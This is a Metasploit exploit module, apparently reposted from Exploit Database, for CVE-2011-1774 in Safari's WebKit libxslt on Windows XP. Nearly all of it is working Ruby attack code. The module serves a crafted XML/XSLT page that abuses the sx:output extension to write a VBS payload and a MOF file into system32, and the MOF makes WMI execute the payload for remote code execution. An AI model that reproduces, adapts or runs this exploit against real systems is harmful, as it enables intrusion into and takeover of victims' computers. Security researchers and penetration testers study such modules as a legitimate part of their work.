Apple Safari Webkit – libxslt Arbitrary File Creation (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2011-10-18
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17993/

• ##
  # $Id: safari_xslt_output.rb 13987 2011-10-18 07:39:50Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::EXE
  	include Msf::Exploit::WbemExec
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'=> 'Apple Safari Webkit libxslt Arbitrary File Creation',
  			'Description' => %q{
  					This module exploits a file creation vulnerability in the Webkit
  				rendering engine. It is possible to redirect the output of a XSLT
  				transformation to an arbitrary file. The content of the created file must be
  				ASCII or UTF-8. The destination path can be relative or absolute. This module
  				has been tested on Safari and Maxthon. Code execution can be acheived by first
  				uploading the payload to the remote machine in VBS format, and then upload a MOF
  				file, which enables Windows Management Instrumentation service to execute the VBS.
  			},
  			'License' => MSF_LICENSE,
  			'Author'=> ['Nicolas Gregoire'],
  			'Version' => '$Revision: 13987 $',
  			'References'=>
  				[
  					['CVE', '2011-1774'],
  					['OSVDB', '74017'],
  					['URL', 'http://lists.apple.com/archives/Security-announce/2011/Jul/msg00002.html'],
  				],
  			'DefaultOptions'=>
  				{
  					'InitialAutoRunScript' => 'migrate -f',
  				},
  			'Payload' =>
  				{
  					'Space' => 2048,
  				},
  			'Platform'=> 'win',
  			'Targets' =>
  				[
  					#Windows before Vista
  					[ 'Automatic', { } ],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jul 20 2011'))
  	end
  
  	def autofilter
  		false
  	end
  
  	def check_dependencies
  		use_zlib
  	end
  
  	def on_request_uri(cli, request)
  		# Check target before attacking
  		agent = request.headers['User-Agent']
  		if agent !~ /Windows NT 5\.1/ or agent !~ /Safari/ or agent !~ /Version\/5\.0\.\d/
  			print_error("This target isn't supported: #{agent.to_s}")
  			send_not_found(cli)
  			return
  		end
  
  		url ="http://"
  		url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  		url += ":" + datastore['SRVPORT'] + get_resource() + "/"
  
  		content = <<-EOS
  <?xml-stylesheet type="text/xml" href="https://www.exploit-db.com/exploits/17993/#fragment"?>
  <!-- Define the DTD of the document
  	 This is needed, in order to later reference the XSLT stylesheet by a #fragment
  	 This trick allows to have both the XML and the XSL in the same file
  	 Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->
  <!DOCTYPE doc [
   <!ATTLIST xsl:stylesheet
   id ID #REQUIRED
  >]>
  <doc>
  
  <!-- Define location and content of the files -->
  <mof>
  	<location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\wbem\\mof\\#{@mof_name}]]></location>
  	<content><![CDATA[#{@mof_content}]]></content>
  </mof><vbs>
  	<location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\#{@vbs_name}]]></location>
  	<content><![CDATA[#{@vbs_content}]]></content>
  </vbs>
  
  <!-- The XSLT stylesheet header, including the "sx" extension -->
  <xsl:stylesheet id="fragment" version="1.0" 
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:sx="http://icl.com/saxon"
  extension-element-prefixes="sx"
  xmlns="http://www.w3.org/1999/xhtml" >
  <xsl:output method="xml" indent="yes" />
  
  <!-- The XSLT template -->
  <xsl:template match="/">
  	<!-- Define some XSLT variables -->
  	<xsl:variable name="moflocation" select="//mof/location/text()"/>
  	<xsl:variable name="vbslocation" select="//vbs/location/text()"/>
  	<!-- Create the files -->
  	<sx:output file="{$vbslocation}" method="text">
  		<xsl:value-of select="//vbs/content"/>
  	</sx:output>
  	<sx:output file="{$moflocation}" method="text">
  		<xsl:value-of select="//mof/content"/>
  	</sx:output>
  	<!-- Some output to the browser -->
  	<html> </html>
  </xsl:template>
  </xsl:stylesheet>
  </doc>
  		EOS
  
  		#Clear the extra tabs
  		content = content.gsub(/^\t\t/, '')
  
  		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  		send_response(cli, content, {'Content-Type'=>'application/xml'})
  		handler(cli)
  
  	end
  
  	def exploit
  		# In order to save binary data to the file system the payload is written to a VBS
  		# file and execute it from there via a MOF
  		@mof_name = rand_text_alpha(rand(5)+5) + ".mof"
  		@vbs_name = rand_text_alpha(rand(5)+5) + ".vbs"
  
  		print_status("Encoding payload into vbs...")
  		payload = generate_payload_exe
  		@vbs_content = Msf::Util::EXE.to_exe_vbs(payload)
  
  		print_status("Generating mof file...")
  		@mof_content = generate_mof(@mof_name, @vbs_name)
  		super
  	end
  
  end